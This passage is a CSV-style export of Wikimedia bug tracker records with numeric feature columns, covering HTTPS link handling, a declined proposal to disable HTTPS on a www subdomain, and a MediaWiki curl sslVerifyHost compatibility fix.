**Severity**: trivial",Low,25.0,1358808420,1362762493.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-m2iqzcy3cj2dtvg2bffn,task_description,invalid,True,c2,1,False,False,True,-32,True,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,10.0,1.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,3.0,0.0,8.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.4430379746835444,0.5949367088607594,"**Author:** CODE

**Description:**
The image links in the final result page of the upload wizard (under ""Thanks for uploading!"") have an incorrect use of url protocols. They are ""http:"" links even if the wizard was run under ""https:"".

--------------------------
**Version**: unspecified
**Severity**: trivial"
222024,http/https protocols not handled correctly in image links,I think the screenshot should be enough to close this as Invalid,,,1362762493,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-m2iqzcy3cj2dtvg2bffn,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,1.0,I think the screenshot should be enough to close this as Invalid
222018,http/https protocols not handled correctly in image links,"Screenshot showing proper HTTPS links

Could you verify this bug? I found proper HTTPS links when uploading

**Attached**: {F10718}",,,1359718053,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-m2iqzcy3cj2dtvg2bffn,task_subcomment,,True,c2,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,24.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,3.9655172413793105,0.7586206896551724,"Screenshot showing proper HTTPS links

Could you verify this bug? I found proper HTTPS links when uploading

**Attached**: {F10718}"
45265,Disable https on www.en.wikipedia.org,"It's not sending a valid SSL cert for that but I know it may be not easy to configure so. I propose to point them to another IP, then disable https on that IP.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1355930220,1363553543.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-uq7moaj5iijoolgyhoxa,task_description,declined,True,c2,1,False,False,True,-36,True,0.0,0.0,0.0,0.0,4.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,14.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,9.0,7.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.517857142857143,0.7142857142857143,"It's not sending a valid SSL cert for that but I know it may be not easy to configure so. I propose to point them to another IP, then disable https on that IP.

--------------------------
**Version**: unspecified
**Severity**: minor"
191294,Disable https on www.en.wikipedia.org,I guess wont fix too.  People should really use the en.wikipedia.org entry :-],,,1363553543,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uq7moaj5iijoolgyhoxa,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,I guess wont fix too.  People should really use the en.wikipedia.org entry :-]
191290,Disable https on www.en.wikipedia.org,"Either adding www,en.wikipedia.org as alternative name (but we have www.*.wikipedia.org!), or wontfixing.",,,1355949458,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-uq7moaj5iijoolgyhoxa,task_subcomment,,True,c2,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.947368421052632,0.9473684210526315,"Either adding www,en.wikipedia.org as alternative name (but we have www.*.wikipedia.org!), or wontfixing."
191284,Disable https on www.en.wikipedia.org,"This is an ops decision, but I would also recommend a WONTFIX for this. If we point to another IP, where https is disabled, then they would get an error saying the server isn't available. The cost of issuing www. certificates for every language is also prohibitively high.",,,1355946680,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-uq7moaj5iijoolgyhoxa,task_subcomment,,True,c2,1,True,,,-36,True,2.0,0.0,0.0,2.0,2.0,4.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,11.0,4.0,2.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,9.0,4.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,4.0,0.0,0.0,0.0,4.017857142857143,0.7857142857142857,"This is an ops decision, but I would also recommend a WONTFIX for this. If we point to another IP, where https is disabled, then they would get an error saying the server isn't available. The cost of issuing www. certificates for every language is also prohibitively high."
191277,Disable https on www.en.wikipedia.org,"Disabling HTTPS is worse than simply giving an invalid certificate (Which is really perfectly secure, but untrusted because it's for the wrong domain), so I propose WONTFIXing this.",,,1355937388,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-uq7moaj5iijoolgyhoxa,task_subcomment,,True,c2,1,True,,,-36,True,0.0,0.0,3.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,15.0,3.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,9.0,3.0,0.0,0.0,4.529411764705882,0.9411764705882353,"Disabling HTTPS is worse than simply giving an invalid certificate (Which is really perfectly secure, but untrusted because it's for the wrong domain), so I propose WONTFIXing this."
44901,"$4 of message ""Articlefeedbackv5-email-request-oversight-body"" needs ""http:""","The e-mail to the oversighter ""Articlefeedbackv5-email-request-oversight-body"" contains $4 with a link to the AFT-Oversight FAQ. The content on dewiki is:


//de.wikipedia.org/wiki/Wikipedia:Artikel-Feedback/Umgang_mit_Feedback

That means, ""http:"" is missing.

--------------------------
**Version**: master
**Severity**: normal",Low,25.0,1355079180,1355594004.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-j3iohvlp2ce4tivq4oik,task_description,resolved,True,c2,1,False,False,True,-38,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,13.0,0.0,5.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8974358974358974,0.6282051282051282,"The e-mail to the oversighter ""Articlefeedbackv5-email-request-oversight-body"" contains $4 with a link to the AFT-Oversight FAQ. The content on dewiki is:


//de.wikipedia.org/wiki/Wikipedia:Artikel-Feedback/Umgang_mit_Feedback

That means, ""http:"" is missing.

--------------------------
**Version**: master
**Severity**: normal"
194806,"$4 of message ""Articlefeedbackv5-email-request-oversight-body"" needs ""http:""","successfully merged

when the variable is used on other place a
wfExpandUrl( $var, PROTO_CANONICAL );
in the email text can help.",,,1355594004,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-j3iohvlp2ce4tivq4oik,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8620689655172415,0.9310344827586207,"successfully merged

when the variable is used on other place a
wfExpandUrl( $var, PROTO_CANONICAL );
in the email text can help."
194804,"$4 of message ""Articlefeedbackv5-email-request-oversight-body"" needs ""http:""",https://gerrit.wikimedia.org/r/#/c/38312/ fixes this,,,1355319832,,PHID-USER-kms5nmb5gvqzcdep3cnl,False,,,PHID-TASK-j3iohvlp2ce4tivq4oik,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,URL fixes this
44441,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"Since my hosting provider upgraded to php 5.3.19 a template on my wiki fails with '/includes/HttpFunctions.php(68): CurlHttpRequest->execute()' as the top line of the backtrace.

--------------------------
**Version**: 1.20.x
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=44135
https://bugzilla.wikimedia.org/show_bug.cgi?id=42468
https://bugzilla.wikimedia.org/show_bug.cgi?id=70262",Low,25.0,1353928560,1362675223.0,PHID-USER-7rnv65bazcfyfktglds5,False,,False,PHID-TASK-tuqyxtv7tsitqiypigmg,task_description,resolved,True,c2,1,False,False,True,-40,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,9.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,9.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.828125,0.640625,"Since my hosting provider upgraded to php 5.3.19 a template on my wiki fails with '/includes/HttpFunctions.php(68): CurlHttpRequest->execute()' as the top line of the backtrace.

--------------------------
**Version**: 1.20.x
**Severity**: major
**See Also**:
URL
URL
URL"
192958,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),(confirming that this has been backported and is available in 1.20.3),,,1362819682,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.538461538461538,1.0,(confirming that this has been backported and is available in 1.20.3)
192954,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),*** Bug 45564 has been marked as a duplicate of this bug. ***,,,1362074008,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-26,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 45564 has been marked as a duplicate of this bug. ***
192949,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),My idea of how it should be done at https://gerrit.wikimedia.org/r/#/c/51334/,,,1362039807,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,My idea of how it should be done at URL
192942,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"I think the way the bug was fixed was not the right way to do it. For one thing, the documentation is now incorrect:

 *    - sslVerifyHost       (curl only) Set to 2 to verify hostname against certificate
 *     Setting to 1 (or true) will NOT verify the host name. It will
 *     only check its existence. Setting to 0 (or false) disables entirely.


It should say that if you set it to 1 or true, it will throw a fatal error after curl 7.28.1. But that's a ridiculous convention. The option to Http::request() should have been left as it was, true for enabling, false for disabling, and that should have been converted to whatever curl (or whatever other backend we use) needs, i.e. 0 or 2.

It's lucky that the callers only either set that parameter to false or omit it. If any set it to true, they would have been badly broken by this change.",,,1362011367,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-26,True,0.5,0.0,0.5,2.0,1.0,6.5,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.5,0.0,1.0,0.0,4.0,10.5,0.0,1.0,1.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,2.0,0.0,3.5,1.0,5.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.5,0.0,0.0,0.0,0.5,9.5,1.0,1.0,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.5,3.5,6.5,2.0,4.5,8.5,0.0,0.0,0.0,0.0,5.5,0.0,4.0,0.0,7.0,10.5,0.5,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.5,3.592783505154639,0.654639175257732,"I think the way the bug was fixed was not the right way to do it. For one thing, the documentation is now incorrect:

 *    - sslVerifyHost       (curl only) Set to 2 to verify hostname against certificate
 *     Setting to 1 (or true) will NOT verify the host name. It will
 *     only check its existence. Setting to 0 (or false) disables entirely.


It should say that if you set it to 1 or true, it will throw a fatal error after curl 7.28.1. But that's a ridiculous convention. The option to Http::request() should have been left as it was, true for enabling, false for disabling, and that should have been converted to whatever curl (or whatever other backend we use) needs, i.e. 0 or 2.

It's lucky that the callers only either set that parameter to false or omit it. If any set it to true, they would have been badly broken by this change."
192937,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),FYI Ia6535f10 is the gerrit Change-ID.,,,1361957236,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,44.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,FYI Ia6535f10 is the gerrit Change-ID.
192933,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"(In reply to comment #16)
> (In reply to comment #15)
> > It's not a change-id but a commit hash. Which is non-ambiguous:
> > bce969ea1803ba77ad4dfbdb2d5057a34c496d1e by IAlex, which merges
> 
> Does not show anything here.

Well it exists in the repository. It's not going to be found in Gerrit as a change if that's what you were expecting.

alex@alex:/var/www/MediaWiki/Git/core (master)$ git show bce969ea1803ba77ad4dfbdb2d5057a34c496d1e
commit bce969ea1803ba77ad4dfbdb2d5057a34c496d1e
Merge: 6ba4674 5c8d6fa
Author: IAlex <ialex.wiki@gmail.com>
Date:   Thu Nov 15 10:24:11 2012 +0000

    Merge ""Made SSL validation in Curl HTTP requests the default.""",,,1358353502,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-32,True,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,2.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,22.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,2.0,1.0,7.0,0.0,3.0,8.0,19.0,0.0,2.0,0.0,3.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,3.0,4.38,0.71,"(In reply to comment #16)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well it exists in the repository. It's not going to be found in Gerrit as a change if that's what you were expecting.

alex@alex:/var/www/MediaWiki/Git/core (master)$ git show bce969ea1803ba77ad4dfbdb2d5057a34c496d1e
commit bce969ea1803ba77ad4dfbdb2d5057a34c496d1e
Merge: 6ba4674 5c8d6fa
Author: IAlex <ialex.wiki@gmail.com>
Date:   Thu Nov 15 10:24:11 2012 +0000

    Merge ""Made SSL validation in Curl HTTP requests the default."""
192927,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"It was fixed in master (available in 1.21wmf5). Other than a potential backport, it is FIXED.",,,1358287000,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-33,True,0.0,0.0,0.0,10.0,0.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.9047619047619048,"It was fixed in master (available in 1.21wmf5). Other than a potential backport, it is FIXED."
192922,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"(In reply to comment #15)
> It's not a change-id but a commit hash. Which is non-ambiguous:
> bce969ea1803ba77ad4dfbdb2d5057a34c496d1e by IAlex, which merges

Does not show anything here.

> 5c8d6fa60f521073136012f67e66bdb72010e720 by Tyler Romeo.

Wondering if this was fixed by the two commits, or what is left to do here.",,,1358265077,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-33,True,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,15.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,8.0,0.0,5.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.2,0.8,"(In reply to comment #15)
QUOTE
QUOTE

Does not show anything here.

QUOTE

Wondering if this was fixed by the two commits, or what is left to do here."
192914,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"It's not a change-id but a commit hash. Which is non-ambiguous: bce969ea1803ba77ad4dfbdb2d5057a34c496d1e by IAlex, which merges 5c8d6fa60f521073136012f67e66bdb72010e720 by Tyler Romeo.",,,1355072514,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-38,True,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,17.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,14.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,5.689655172413793,0.8620689655172413,"It's not a change-id but a commit hash. Which is non-ambiguous: bce969ea1803ba77ad4dfbdb2d5057a34c496d1e by IAlex, which merges 5c8d6fa60f521073136012f67e66bdb72010e720 by Tyler Romeo."
192908,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"(In reply to comment #12)
> There is a small bug in doing sslVerifyHost => true, that was fixed after 1.20
> (bce969).

